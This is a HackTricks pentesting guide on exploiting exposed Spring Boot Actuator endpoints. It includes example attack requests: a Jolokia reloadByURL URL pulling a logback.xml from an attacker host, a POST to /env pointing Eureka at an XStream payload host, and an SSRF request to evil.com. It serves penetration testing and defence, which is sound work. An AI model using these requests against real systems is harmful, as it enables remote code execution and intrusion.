hacktricks/network-services-pentesting/pentesting-web/spring-actuators.md

# Spring Actuators

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## **Spring Auth Bypass**

<figure><img src="../../.gitbook/assets/image (5) (2).png" alt=""><figcaption></figcaption></figure>

**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)\*\*\*\*

## Exploiting Spring Boot Actuators

**Check the original post from** [**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]

### **Key Points:**

- Spring Boot Actuators register endpoints such as `/health`, `/trace`, `/beans`, `/env`, etc. In versions 1 to 1.4, these endpoints are accessible without authentication. From version 1.5 onwards, only `/health` and `/info` are non-sensitive by default, but developers often disable this security.
- Certain Actuator endpoints can expose sensitive data or allow harmful actions:
  - `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, and `/heapdump`.
- In Spring Boot 1.x, actuators are registered under the root URL, while in 2.x, they are under the `/actuator/` base path.

### **Exploitation Techniques:**

1. **Remote Code Execution via '/jolokia'**:
   - The `/jolokia` actuator endpoint exposes the Jolokia Library, which allows HTTP access to MBeans.
   - The `reloadByURL` action can be exploited to reload logging configurations from an external URL, which can lead to blind XXE or Remote Code Execution via crafted XML configurations.
   - Example exploit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.

2. **Config Modification via '/env'**:
   - If Spring Cloud Libraries are present, the `/env` endpoint allows modification of environmental properties.
   - Properties can be manipulated to exploit vulnerabilities, such as the XStream deserialization vulnerability in the Eureka serviceURL.
   - Example exploit POST request:

     ```
     POST /env HTTP/1.1
     Host: 127.0.0.1:8090
     Content-Type: application/x-www-form-urlencoded
     Content-Length: 65

     eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
     ```

3. **Other Useful Settings**:
   - Properties like `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, and `spring.datasource.tomcat.max-active` can be manipulated for various exploits, such as SQL injection or altering database connection strings.

### **Additional Information:**

- A comprehensive list of default actuators can be found [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
- The `/env` endpoint in Spring Boot 2.x uses JSON format for property modification, but the general concept remains the same.

### **Related Topics:**

1. **Env + H2 RCE**:
   - Details on exploiting the combination of `/env` endpoint and H2 database can be found [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).

2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**:
   - The Spring framework's handling of matrix parameters (`;`) in HTTP pathnames can be exploited for Server-Side Request Forgery (SSRF).
   - Example exploit request:

     ```http
     GET ;@evil.com/url HTTP/1.1
     Host: target.com
     Connection: close
     ```


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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

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